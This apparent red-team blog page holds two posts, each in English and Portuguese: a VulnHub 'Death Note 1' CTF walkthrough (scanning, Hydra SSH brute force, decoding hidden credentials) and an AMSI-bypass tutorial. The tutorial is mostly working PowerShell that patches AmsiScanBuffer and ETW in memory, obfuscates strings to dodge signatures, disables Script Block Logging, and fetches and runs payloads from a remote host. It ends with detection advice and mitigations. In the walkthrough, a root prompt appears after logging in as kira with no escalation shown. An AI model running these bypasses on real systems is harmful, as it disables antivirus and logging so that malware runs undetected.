r3d/ops — Blog Red Team KBM Security

Death Note 1 — Complete VulnHub Walkthrough

redteam@kbmsecurity.com.br — Sat, 21 Feb 2026 00:00:00 GMT

1. Introduction

The Death Note 1 machine is available on VulnHub and is classified as Easy. The goal is to compromise the server, escalating from web access to reading the root.txt file. The theme is inspired by the anime Death Note, with users such as kira, L, and Misa distributed throughout the machine.

The environment used in this walkthrough is a local network with the target machine at 192.168.3.152 and the attacking machine running Kali Linux.

2. Reconnaissance

2.1 Host Discovery

We use netdiscover to map the active hosts on the /16 network and identify the IP of the target machine.

netdiscover -r 192.168.0.0/16

Currently scanning: 192.168.0.0/16 | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

IP             At MAC Address      Count  Len  MAC Vendor / Hostname
192.168.0.1    d8:07:b6:96:bf:c8   1      60   TP-LINK TECHNOLOGIES CO.,LTD.
192.168.3.1    88:36:cf:5d:f9:e5   1      60   Huawei Device Co., Ltd.
192.168.3.126  dc:21:5c:76:38:2e   1      60   Intel Corporate
192.168.3.152  08:00:27:72:d0:cd   1      60   PCS Systemtechnik GmbH   ← TARGET

2.2 Port and Service Scan

nmap -sS -A 192.168.3.152

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn&#x27;t have a title (text/html)

Two open ports were identified:

22/TCP — SSH (OpenSSH 7.9p1)
80/TCP — HTTP (Apache 2.4.38)

3. Web Enumeration

3.1 Initial Access

Accessing http://192.168.3.152 through the browser, we found a completely unconfigured website. Navigating to the /wordpress/ directory, we found a WordPress blog with the user kira and the post “i will eliminate you L!”, containing the phrase:

> “my fav line is iamjustic3”

This serves as an important tip for the exploration phase.

3.2 Directory Enumeration with DirBuster

# Using OWASP DirBuster 1.0-RC1 against http://192.168.3.152:80/
# DirBuster default wordlist, 200 threads

Relevant directories/files found (HTTP 200):
/wp-content/uploads/2021/07/
/wp-content/uploads/2021/07/user.txt   (359 bytes)
/wp-content/uploads/2021/07/notes.txt  (745 bytes)
/license.txt
/robots.txt
/manual/

Two .txt files were found in the WordPress uploads directory:

user.txt — list of possible usernames
notes.txt — list of possible passwords

3.3 Analysis of robots.txt

curl http://192.168.3.152/robots.txt

fuck it my dad
added hint on /important.jpg

ryuk please delete it

The robots.txt reveals the existence of the /important.jpg file.

3.4 Reading important.jpg via curl

The important.jpg file was corrupted as an image. Using curl, it was possible to read its text content:

curl http://192.168.3.152/important.jpg

i am Soichiro Yagami, light&#x27;s father
i have a doubt if L is true about the assumption that light is kira

i can only help you by giving something important

login username : user.txt
i don&#x27;t know the password.
find it by yourself
but i think it is in the hint section of site

Confirmation: user.txt is the user wordlist and the password is in notes.txt.

4. Exploitation

4.1 SSH Brute Force with Hydra

With the wordlists user.txt and notes.txt in hand, we perform a brute force attack on the SSH service:

hydra -L user.txt -P notes.txt 192.168.3.152 ssh

[DATA] max 16 tasks per 1 server, overall 16 tasks, 731 login tries (l:17/p:43)
[DATA] attacking ssh://192.168.3.152:22/
[STATUS] 293.00 tries/min, 293 tries in 00:01h
[22][ssh] host: 192.168.3.152   login: l   password: deathnote

> ✅ Credentials found: l / deathnote

5. Initial Access

5.1 SSH login as user `l`

ssh l@192.168.3.152

l@192.168.3.152&#x27;s password: deathnote

Linux deathnote 4.19.0-17-amd64 #1 SMP Debian 4.19.194-2 (2021-06-21) x86_64

l@deathnote:~$

Successfully gained access to the target machine’s shell.

6. Post-Exploitation / Escalation

6.1 Discovery of the /opt/L Directory

l@deathnote:~$ cd /opt
l@deathnote:/opt$ ls -l

drwxr-xr-x 4 root root 4096 Aug 29 2021 L

l@deathnote:/opt$ cd L &amp;&amp; ls -l

drwxr-xr-x 2 root root 4096 Aug 29 2021 fake-notebook-rule
drwxr-xr-x 2 root root 4096 Aug 29 2021 kira-case

6.2 Reading case-file.txt

l@deathnote:/opt/L$ cd kira-case &amp;&amp; cat case-file.txt

the FBI agent died on December 27, 2006

1 week after the investigation of the task-force member/head.
aka.....
Soichiro Yagami&#x27;s family.

hmmmmmmmmmm......
and according to Watari,
he died as others died after Kira targeted them.

and we also found something in the fake-notebook-rule folder.

6.3 Hex + Base64 decoding of case.wav

Inside the fake-notebook-rule directory, we found a file case.wav that was unreadable as audio:

l@deathnote:/opt/L/fake-notebook-rule$ cat case.wav

63 47 46 7a 63 33 64 6b 49 44 4f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d

l@deathnote:/opt/L/fake-notebook-rule$ cat hint

use cyberchef

Using CyberChef with the recipe From Hex → From Base64:

Input (Hex):
63 47 46 7a 63 33 64 6b 49 44 4f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d

Step 1 — From Hex:
cGFzc3dkIDoga2lyYWlzZXZpbCA=

Step 2 — From Base64:
passwd : kiraisevil

> ✅ New credential found: kira / kiraisevil

6.4 Log in as kira and decode kira.txt

# Elevating to user kira (or reconnecting via SSH)
ssh kira@192.168.3.152
# password: kiraisevil

root@deathnote:/home/kira# cat kira.txt

cGxlYXNlIHByb3RlY3Qgb25lIG9mIHRoZSBmb2xsb3dpbmcgCjEuIEwgKC9vcHQpCjIuIE1pc2EgKC92YXIp

Decoding again via CyberChef (From Base64):

please protect one of the following
1. L (/opt)
2. Misa (/var)

6.5 Discovering the Misa file in /var

root@deathnote:/var# cat misa

it is toooo late for misa

7. Flags / Root

7.1 Capturing root.txt

Navigating to the root home directory, we locate the root.txt file:

root@deathnote:/var# cd
root@deathnote:~# ls
root.txt

root@deathnote:~# cat root.txt

[REDACTED]

##########follow me on twitter###########3
and share this screen shot and tag @KDSAMF

> 🏁 CTF successfully completed! The final flag was obtained from the root.txt file in the home directory of the root user.

8. Conclusion

The Death Note 1 machine is a great exercise for CTF beginners, following a classic path of compromise:

Step	Technique	Tool
Host discovery	Passive ARP scan	`netdiscover`
Surface mapping	Port/service scan	`nmap`
Web enumeration	Directory brute-force	`DirBuster`
Wordlist collection	Reading exposed files	`curl`
Initial access	SSH brute-force	`hydra`
Post-exploitation	Hex + Base64 decoding	`CyberChef`
Lateral escalation	Credential reuse	`ssh`
Flag capture	Root file reading	`cat`

Key takeaways:

Files that appear to be “corrupted” may contain useful data—always use curl or cat before discarding them.
Wordlists exposed in web directories are a critical attack vector.
Multi-layered encoded data (Hex → Base64) is common in easy-level CTFs; tools like CyberChef dramatically speed up analysis.
Methodical directory enumeration (/opt, /var) after initial access is essential for finding escalation paths.

Written by G4ij1ntoor — KBM Security · r3d/ops blog

Death Note 1 — VulnHub Walkthrough Completo

redteam@kbmsecurity.com.br — Sat, 21 Feb 2026 00:00:00 GMT

1. Introdução

A máquina Death Note 1 está disponível no VulnHub e é classificada com dificuldade Fácil. O objetivo é comprometer o servidor, escalando do acesso web até a leitura do arquivo root.txt. A temática é inspirada no anime Death Note, com usuários como kira, L e Misa distribuídos pela máquina.

O ambiente utilizado neste walkthrough é uma rede local com a máquina alvo em 192.168.3.152 e a máquina atacante rodando Kali Linux.

2. Reconhecimento

2.1 Descoberta de Host

Utilizamos o netdiscover para mapear os hosts ativos na rede /16 e identificar o IP da máquina alvo.

netdiscover -r 192.168.0.0/16

Currently scanning: 192.168.0.0/16  |  Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

IP             At MAC Address      Count  Len  MAC Vendor / Hostname
192.168.0.1    d8:07:b6:96:bf:c8   1      60   TP-LINK TECHNOLOGIES CO.,LTD.
192.168.3.1    88:36:cf:5d:f9:e5   1      60   Huawei Device Co., Ltd.
192.168.3.126  dc:21:5c:76:38:2e   1      60   Intel Corporate
192.168.3.152  08:00:27:72:d0:cd   1      60   PCS Systemtechnik GmbH   ← ALVO

2.2 Scan de Portas e Serviços

nmap -sS -A 192.168.3.152

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html)

Foram identificadas duas portas abertas:

22/TCP — SSH (OpenSSH 7.9p1)
80/TCP — HTTP (Apache 2.4.38)

3. Enumeração Web

3.1 Acesso Inicial

Acessando http://192.168.3.152 pelo navegador, encontramos um site totalmente desconfigurável. Navegando para o diretório /wordpress/, encontramos um blog WordPress com o usuário kira e o post “i will eliminate you L!”, contendo a frase:

“my fav line is iamjustic3”

Isso serve como dica importante para a fase de exploração.

3.2 Enumeração de Diretórios com DirBuster

# Utilizando OWASP DirBuster 1.0-RC1 contra http://192.168.3.152:80/
# Wordlist padrão do DirBuster, 200 threads

Diretórios/Arquivos relevantes encontrados (HTTP 200):
/wp-content/uploads/2021/07/
/wp-content/uploads/2021/07/user.txt   (359 bytes)
/wp-content/uploads/2021/07/notes.txt  (745 bytes)
/license.txt
/robots.txt
/manual/

Foram encontrados dois arquivos .txt no diretório de uploads do WordPress:

user.txt — lista de possíveis nomes de usuário
notes.txt — lista de possíveis senhas

3.3 Análise do robots.txt

curl http://192.168.3.152/robots.txt

fuck it my dad
added hint on /important.jpg

ryuk please delete it

O robots.txt revela a existência do arquivo /important.jpg.

3.4 Leitura do important.jpg via curl

O arquivo important.jpg estava corrompido como imagem. Usando curl, foi possível ler seu conteúdo de texto:

curl http://192.168.3.152/important.jpg

i am Soichiro Yagami, light's father
i have a doubt if L is true about the assumption that light is kira

i can only help you by giving something important

login username : user.txt
i don't know the password.
find it by yourself
but i think it is in the hint section of site

Confirmação: user.txt é a wordlist de usuários e a senha está em notes.txt.

4. Exploração

4.1 Brute-Force SSH com Hydra

Com as wordlists user.txt e notes.txt em mãos, realizamos o ataque de força bruta no serviço SSH:

hydra -L user.txt -P notes.txt 192.168.3.152 ssh

[DATA] max 16 tasks per 1 server, overall 16 tasks, 731 login tries (l:17/p:43)
[DATA] attacking ssh://192.168.3.152:22/
[STATUS] 293.00 tries/min, 293 tries in 00:01h
[22][ssh] host: 192.168.3.152   login: l   password: deathnote

✅ Credenciais encontradas: l / deathnote

5. Acesso Inicial

5.1 Login SSH como usuário `l`

ssh l@192.168.3.152

l@192.168.3.152's password: deathnote

Linux deathnote 4.19.0-17-amd64 #1 SMP Debian 4.19.194-2 (2021-06-21) x86_64

l@deathnote:~$

Acesso obtido com sucesso ao shell da máquina alvo.

6. Pós-Exploração / Escalada

6.1 Descoberta do Diretório /opt/L

l@deathnote:~$ cd /opt
l@deathnote:/opt$ ls -l

drwxr-xr-x 4 root root 4096 Aug 29 2021 L

l@deathnote:/opt$ cd L && ls -l

drwxr-xr-x 2 root root 4096 Aug 29 2021 fake-notebook-rule
drwxr-xr-x 2 root root 4096 Aug 29 2021 kira-case

6.2 Leitura do case-file.txt

l@deathnote:/opt/L$ cd kira-case && cat case-file.txt

the FBI agent died on December 27, 2006

1 week after the investigation of the task-force member/head.
aka.....
Soichiro Yagami's family.

hmmmmmmmmmm......
and according to watari,
he died as other died after Kira targeted them.

and we also found something in fake-notebook-rule folder.

6.3 Decodificação Hex + Base64 do case.wav

Dentro do diretório fake-notebook-rule, encontramos um arquivo case.wav ilegível como áudio:

l@deathnote:/opt/L/fake-notebook-rule$ cat case.wav

63 47 46 7a 63 33 64 6b 49 44 4f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d

l@deathnote:/opt/L/fake-notebook-rule$ cat hint

use cyberchef

Utilizando o CyberChef com a receita From Hex → From Base64:

Input (Hex):
63 47 46 7a 63 33 64 6b 49 44 4f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d

Step 1 — From Hex:
cGFzc3dkIDoga2lyYWlzZXZpbCA=

Step 2 — From Base64:
passwd : kiraisevil

✅ Nova credencial encontrada: kira / kiraisevil

# Elevando para o usuário kira (ou reconectando via SSH)
ssh kira@192.168.3.152
# senha: kiraisevil

root@deathnote:/home/kira# cat kira.txt

cGxlYXNlIHByb3RlY3Qgb25lIG9mIHRoZSBmb2xsb3dpbmcgCjEuIEwgKC9vcHQpCjIuIE1pc2EgKC92YXIp

Decodificando novamente via CyberChef (From Base64):

please protect one of the following
1. L (/opt)
2. Misa (/var)

6.5 Descoberta do arquivo Misa em /var

root@deathnote:/var# cat misa

it is toooo late for misa

7. Flags / Root

7.1 Captura do root.txt

Navegando para o diretório home de root, localizamos o arquivo root.txt:

root@deathnote:/var# cd
root@deathnote:~# ls
root.txt

root@deathnote:~# cat root.txt

[REDACTED]

##########follow me on twitter###########3
and share this screen shot and tag @KDSAMF

🏁 CTF concluído com sucesso! A flag final foi obtida no arquivo root.txt no diretório home do usuário root.

8. Conclusão

A máquina Death Note 1 é um ótimo exercício para iniciantes em CTF, percorrendo um caminho clássico de comprometimento:

Etapa	Técnica	Ferramenta
Descoberta de host	ARP scan passivo	`netdiscover`
Mapeamento de superfície	Port/service scan	`nmap`
Enumeração web	Directory brute-force	`DirBuster`
Coleta de wordlists	Leitura de arquivos expostos	`curl`
Acesso inicial	SSH brute-force	`hydra`
Pós-exploração	Decodificação Hex + Base64	`CyberChef`
Escalada lateral	Reutilização de credencial	`ssh`
Captura de flag	Leitura de arquivo root	`cat`

Principais aprendizados:

Arquivos aparentemente “corrompidos” podem conter dados úteis — sempre use curl ou cat antes de descartar.
Wordlists expostas em diretórios web são um vetor crítico de ataque.
Dados codificados em múltiplas camadas (Hex → Base64) são comuns em CTFs de nível fácil; ferramentas como CyberChef agilizam drasticamente a análise.
A enumeração metódica de diretórios (/opt, /var) após o acesso inicial é essencial para encontrar caminhos de escalada.

Escrito por G4ij1ntoor — KBM Security · r3d/ops blog

AMSI Bypass — Desabilitando o Antimalware Scan Interface no PowerShell

redteam@kbmsecurity.com.br — Mon, 10 Feb 2025 00:00:00 GMT

O que é AMSI?

O AMSI (Antimalware Scan Interface) é uma API do Windows introduzida no Windows 10 que permite que aplicações enviem conteúdo para soluções antivírus escanearem em tempo real, antes da execução.

O fluxo funciona assim:

PowerShell recebe um script ou comando
Antes de executar, chama AmsiScanBuffer() ou AmsiScanString() via amsi.dll
O AV/EDR registrado escaneia o conteúdo
Se malicioso → bloqueado. Se limpo → execução prossegue

PowerShell → amsi.dll → AmsiScanBuffer() → AV Provider → Allow / Block

Toda sessão do PowerShell carrega a amsi.dll no processo. O objetivo dos bypasses é neutralizar essa DLL antes de executar payloads ofensivos.

AVISO: Estas técnicas são para uso exclusivo em ambientes autorizados (pentest, red team, laboratório). O uso não autorizado é crime.

Técnica 1 — Patch de AmsiScanBuffer via Reflection

A técnica mais clássica: usar .NET Reflection para localizar e patchear a função AmsiScanBuffer na memória, fazendo-a sempre retornar AMSI_RESULT_CLEAN.

# AMSI Patch via Reflection — clássico
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32

$Lib  = [Win32]::LoadLibrary("amsi.dll")
$Addr = [Win32]::GetProcAddress($Lib, "AmsiScanBuffer")

# Patch: mov eax, 0x80070057 ; ret
$Patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$Old   = 0

[Win32]::VirtualProtect($Addr, [UIntPtr]5, 0x40, [ref]$Old) | Out-Null

$Marshal = [System.Runtime.InteropServices.Marshal]
$Marshal::Copy($Patch, 0, $Addr, 6)

Após executar isso na sessão, o AMSI está neutralizado para o processo atual.

Técnica 2 — Forçar Erro via AmsiInitFailed

Uma abordagem mais furtiva: usar Reflection para setar o campo privado amsiInitFailed no contexto da sessão atual, fazendo o PowerShell acreditar que o AMSI falhou ao inicializar.

# AmsiInitFailed — forçar falha de inicialização
$a = [Ref].Assembly.GetTypes() | Where-Object {
    $_.Name -like '*Am*i*'
}

$b = $a | ForEach-Object {
    $_.GetFields('NonPublic,Static') | Where-Object {
        $_.Name -like '*ailed*'
    }
}

$b.SetValue($null, $true)

Este método é frequentemente detectado por EDRs modernos pois a string amsiInitFailed virou uma assinatura. Use obfuscação:

# Versão obfuscada com concatenação de strings
$x = 'Am' + 'si' + 'Utils'
$y = 'am' + 'si' + 'Init' + 'Failed'

$t = [Ref].Assembly.GetType("System.Management.Automation.$x")
$f = $t.GetField($y, 'NonPublic,Static')
$f.SetValue($null, $true)

Técnica 3 — Patch com Marshal.WriteInt32

Variação do patch direto, usando Marshal.WriteInt32 sem precisar de P/Invoke custom:

# Bypass via Marshal sem Add-Type
$a = [System.Runtime.InteropServices.Marshal]
$b = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$c = $b.GetField('amsiContext', 'NonPublic,Static')
$d = $c.GetValue($null)

# Corrompe o contexto AMSI
$a::WriteInt32([IntPtr]($d.ToInt64() + 0x8), 0)

Técnica 4 — Downgrade para PowerShell 2.0

O PowerShell 2.0 não implementa AMSI. Se ainda estiver instalado no sistema:

# Verifica se PS 2.0 está disponível
powershell -version 2 -Command "$PSVersionTable"

# Executa payload no contexto PS 2.0 (sem AMSI)
powershell -version 2 -ExecutionPolicy Bypass -File payload.ps1

# Verifica instalação do .NET 2.0/3.5 (necessário para PS 2.0)
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

Nota: Muitos ambientes modernos têm PS 2.0 desabilitado via GPO. Verifique antes de tentar.

Técnica 5 — Obfuscação de Strings (Evasão de Assinaturas)

Em vez de patchear AMSI, evite ativá-lo. Strings conhecidas como amsiInitFailed, AmsiScanBuffer, Invoke-Mimikatz ativam assinaturas. Use obfuscação:

# Concatenação simples
$cmd = 'Invoke' + '-' + 'Mi' + 'mi' + 'katz'
IEX $cmd

# Base64 encoding
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Invoke-Mimikatz'))
IEX ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encoded)))

# SecureString (menos comum mas eficaz)
$s = 'amsiInitFailed'
$secure = ConvertTo-SecureString $s -AsPlainText -Force
$plain  = [Runtime.InteropServices.Marshal]::PtrToStringAuto(
    [Runtime.InteropServices.Marshal]::SecureStringToBSTR($secure)
)

Técnica 6 — Carregamento via WebRequest (In-Memory)

Carregar payloads diretamente na memória sem tocar o disco, minimizando surface de detecção:

# Bypass + carregamento in-memory
# 1. Disable AMSI primeiro
# 2. Carrega assembly remoto sem escritar em disco

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.10/bypass.ps1')

# Ou via IWR
$r = Invoke-WebRequest -Uri 'http://192.168.1.10/payload.ps1' -UseBasicParsing
IEX $r.Content

# Assembly .NET em memória
$bytes = (New-Object Net.WebClient).DownloadData('http://192.168.1.10/tool.dll')
[Reflection.Assembly]::Load($bytes)

Detecção e Contornos de EDR

EDRs modernos monitoram além do AMSI:

Vetor de Detecção	Técnica de Evasão
Assinaturas de string	Obfuscação, encoding, concatenação
Script Block Logging	Patchear `ScriptBlockLoggingEnabled` via registro
ETW (Event Tracing)	Patchear `EtwEventWrite` em `ntdll.dll`
Constrained Language Mode	Bypass via COM, `Add-Type`, runspaces
WLDP (WDAC)	Técnicas mais avançadas de process injection

# Desabilitar Script Block Logging (requer permissão ou bypass de CLM)
$key = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
Set-ItemProperty -Path $key -Name 'EnableScriptBlockLogging' -Value 0

Script Completo: AMSI + ETW Bypass

#!/usr/bin/env pwsh
# amsi_etw_bypass.ps1 — AMSI + ETW neutralization
# Uso: . .\amsi_etw_bypass.ps1

function Invoke-AmsiBypass {
    try {
        $a = [Ref].Assembly.GetType(
            'System.Management.Automation.' + 'Am' + 'siUtils'
        )
        $b = $a.GetField('am' + 'siInit' + 'Failed', 'NonPublic,Static')
        $b.SetValue($null, $true)
        Write-Host "[+] AMSI     : disabled" -ForegroundColor Green
    } catch {
        Write-Host "[-] AMSI bypass failed: $_" -ForegroundColor Red
    }
}

function Invoke-ETWBypass {
    try {
        $patch = [Byte[]](0xC3) # ret
        $addr  = [System.Diagnostics.Eventing.EventProvider].GetField(
            'm_etwCallback',
            'NonPublic,Instance'
        )
        
        # P/Invoke para VirtualProtect + patch EtwEventWrite
        $ntdll    = [System.Runtime.InteropServices.Marshal]
        $kernel32 = Add-Type -MemberDefinition @'
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(
    IntPtr lpAddress, UIntPtr dwSize,
    uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr h, string name);
[DllImport("kernel32.dll")]
public static extern IntPtr LoadLibrary(string name);
'@ -Name 'K32' -PassThru

        $lib  = $kernel32::LoadLibrary("ntdll.dll")
        $func = $kernel32::GetProcAddress($lib, "EtwEventWrite")
        $old  = [uint32]0
        $kernel32::VirtualProtect($func, [UIntPtr]1, 0x40, [ref]$old) | Out-Null
        [System.Runtime.InteropServices.Marshal]::WriteByte($func, 0xC3)
        
        Write-Host "[+] ETW      : patched" -ForegroundColor Green
    } catch {
        Write-Host "[!] ETW bypass skipped: $_" -ForegroundColor Yellow
    }
}

Invoke-AmsiBypass
Invoke-ETWBypass
Write-Host "[*] Session ready. OPSEC level: reduced." -ForegroundColor Cyan

Detecção pelo Lado do Defensor

Se você é o Blue Team, monitore:

Event ID 4104 — Script Block Logging (PowerShell)
Event ID 4688 — Process creation com powershell.exe -version 2
Sysmon Event 10 — Process access a amsi.dll
Carregamento de System.Management.Automation via Reflection
Presença de strings como AmsiScanBuffer, amsiInitFailed, VirtualProtect em logs

# Blue Team: verificar se AMSI está ativo na sessão
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
    .GetField('amsiInitFailed','NonPublic,Static')
    .GetValue($null)
# $false = AMSI ativo | $true = AMSI comprometido

Mitigações

Habilitar PowerShell Constrained Language Mode via WDAC/AppLocker
Desabilitar PowerShell 2.0 (Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root)
Habilitar Script Block Logging e Module Logging (GPO)
Usar EDR com proteção de memória (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint)
Monitorar ETW providers para PowerShell: Microsoft-Windows-PowerShell
Implementar JEA (Just Enough Administration) para restringir comandos disponíveis

Referências

AMSI Bypass — Disabling the Antimalware Scan Interface in PowerShell

redteam@kbmsecurity.com.br — Mon, 10 Feb 2025 00:00:00 GMT

What is AMSI?

AMSI (Antimalware Scan Interface) is a Windows API introduced in Windows 10 that allows applications to send content to antivirus solutions for real-time scanning before execution.

The flow works like this:

PowerShell receives a script or command
Before executing, it calls AmsiScanBuffer() or AmsiScanString() via amsi.dll
The registered AV/EDR scans the content
If malicious → blocked. If clean → execution proceeds

PowerShell → amsi.dll → AmsiScanBuffer() → AV Provider → Allow / Block

Every PowerShell session loads amsi.dll into the process. The goal of bypasses is to neutralize this DLL before executing offensive payloads.

> WARNING: These techniques are for use in authorized environments only (pentest, red team, lab). Unauthorized use is a crime.

Technique 1 — AmsiScanBuffer Patch via Reflection

The most classic technique: use .NET Reflection to locate and patch the AmsiScanBuffer function in memory, making it always return AMSI_RESULT_CLEAN.

# AMSI Patch via Reflection — classic
$Win32 = @&quot;
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport(&quot;kernel32&quot;)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport(&quot;kernel32&quot;)]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport(&quot;kernel32&quot;)]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
&quot;@

Add-Type $Win32

$Lib  = [Win32]::LoadLibrary(&quot;amsi.dll&quot;)
$Addr = [Win32]::GetProcAddress($Lib, &quot;AmsiScanBuffer&quot;)

# Patch: mov eax, 0x80070057 ; ret
$Patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$Old   = 0

[Win32]::VirtualProtect($Addr, [UIntPtr]5, 0x40, [ref]$Old) | Out-Null

$Marshal = [System.Runtime.InteropServices.Marshal]
$Marshal::Copy($Patch, 0, $Addr, 6)

After running this in the session, AMSI is disabled for the current process.

Technique 2 — Force Error via AmsiInitFailed

A more stealthy approach: use Reflection to set the private field amsiInitFailed in the context of the current session, making PowerShell believe that AMSI failed to initialize.

# AmsiInitFailed — force initialization failure
$a = [Ref].Assembly.GetTypes() | Where-Object {
    $_.Name -like &#x27;*Am*i*&#x27;
}

$b = $a | ForEach-Object {
    $_.GetFields(&#x27;NonPublic,Static&#x27;) | Where-Object {
        $_.Name -like &#x27;*ailed*&#x27;
    }
}

$b.SetValue($null, $true)

This method is often detected by modern EDRs because the string amsiInitFailed has become a signature. Use obfuscation:

# Obfuscated version with string concatenation
$x = &#x27;Am&#x27; + &#x27;si&#x27; + &#x27;Utils&#x27;
$y = &#x27;am&#x27; + &#x27;si&#x27; + &#x27;Init&#x27; + &#x27;Failed&#x27;

$t = [Ref].Assembly.GetType(&quot;System.Management.Automation.$x&quot;)
$f = $t.GetField($y, &#x27;NonPublic,Static&#x27;)
$f.SetValue($null, $true)

Technique 3 — Patch with Marshal.WriteInt32

Variation of the direct patch, using Marshal.WriteInt32 without needing custom P/Invoke:

# Bypass via Marshal without Add-Type
$a = [System.Runtime.InteropServices.Marshal]
$b = [Ref].Assembly.GetType(&#x27;System.Management.Automation.AmsiUtils&#x27;)
$c = $b.GetField(&#x27;amsiContext&#x27;, &#x27;NonPublic,Static&#x27;)
$d = $c.GetValue($null)

# Corrupts the AMSI context
$a::WriteInt32([IntPtr]($d.ToInt64() + 0x8), 0)

Technique 4 — Downgrade to PowerShell 2.0

PowerShell 2.0 does not implement AMSI. If it is still installed on the system:

# Checks if PS 2.0 is available
powershell -version 2 -Command &quot;$PSVersionTable&quot;

# Executes payload in PS 2.0 context (without AMSI)
powershell -version 2 -ExecutionPolicy Bypass -File payload.ps1

# Checks for .NET 2.0/3.5 installation (required for PS 2.0)
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

> Note: Many modern environments have PS 2.0 disabled via GPO. Check before attempting.

Technique 5 — String Obfuscation (Signature Evasion)

Instead of patching AMSI, avoid triggering it. Strings known as amsiInitFailed, AmsiScanBuffer, Invoke-Mimikatz trigger signatures. Use obfuscation:

# Simple concatenation
$cmd = &#x27;Invoke&#x27; + &#x27;-&#x27; + &#x27;Mi&#x27; + &#x27;mi&#x27; + &#x27;katz&#x27;
IEX $cmd

# Base64 encoding
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes(&#x27;Invoke-Mimikatz&#x27;))
IEX ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encoded)))

# SecureString (less common but effective)
$s = &#x27;amsiInitFailed&#x27;
$secure = ConvertTo-SecureString $s -AsPlainText -Force
$plain  = [Runtime.InteropServices.Marshal]::PtrToStringAuto(
    [Runtime.InteropServices.Marshal]::SecureStringToBSTR($secure)
)

Technique 6 — Loading via WebRequest (In-Memory)

Load payloads directly into memory without touching the disk, minimizing detection surface:

# Bypass + in-memory loading
# 1. Disable AMSI first
# 2. Load remote assembly without writing to disk

IEX (New-Object Net.WebClient).DownloadString(&#x27;http://192.168.1.10/bypass.ps1&#x27;)

# Or via IWR
$r = Invoke-WebRequest -Uri &#x27;http://192.168.1.10/payload.ps1&#x27; -UseBasicParsing
IEX $r.Content

# .NET assembly in memory
$bytes = (New-Object Net.WebClient).DownloadData(&#x27;http://192.168.1.10/tool.dll&#x27;)
[Reflection.Assembly]::Load($bytes)

EDR Detection and Workarounds

Modern EDRs monitor beyond AMSI:

Detection Vector	Evasion Technique
String Signatures	Obfuscation, encoding, concatenation
Script Block Logging	Patch `ScriptBlockLoggingEnabled` via registry
ETW (Event Tracing)	Patch `EtwEventWrite` in `ntdll.dll`
Constrained Language Mode	Bypass via COM, `Add-Type`, runspaces
WLDP (WDAC)	More advanced process injection techniques

# Disable Script Block Logging (requires permission or CLM bypass)
$key = &#x27;HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging&#x27;
Set-ItemProperty -Path $key -Name &#x27;EnableScriptBlockLogging&#x27; -Value 0

Complete Script: AMSI + ETW Bypass

#!/usr/bin/env pwsh
# amsi_etw_bypass.ps1 — AMSI + ETW neutralization
# Usage: . .\amsi_etw_bypass.ps1

function Invoke-AmsiBypass {
    try {
        $a = [Ref].Assembly.GetType(
            &#x27;System.Management.Automation.&#x27; + &#x27;Am&#x27; + &#x27;siUtils&#x27;
        )
        $b = $a.GetField(&#x27;am&#x27; + &#x27;siInit&#x27; + &#x27;Failed&#x27;, &#x27;NonPublic,Static&#x27;)
        $b.SetValue($null, $true)
        Write-Host &quot;[+] AMSI     : disabled&quot; -ForegroundColor Green
    } catch {
        Write-Host &quot;[-] AMSI bypass failed: $_&quot; -ForegroundColor Red
    }
}

function Invoke-ETWBypass {
    try {
        $patch = [Byte[]](0xC3) # ret
        $addr  = [System.Diagnostics.Eventing.EventProvider].GetField(
            &#x27;m_etwCallback&#x27;,
            &#x27;NonPublic,Instance&#x27;
        )
        
        # P/Invoke to VirtualProtect + patch EtwEventWrite
        $ntdll    = [System.Runtime.InteropServices.Marshal]
        $kernel32 = Add-Type -MemberDefinition @&#x27;
[DllImport(&quot;kernel32.dll&quot;)]
public static extern bool VirtualProtect(
    IntPtr lpAddress, UIntPtr dwSize,
    uint flNewProtect, out uint lpflOldProtect);
[DllImport(&quot;kernel32.dll&quot;)]
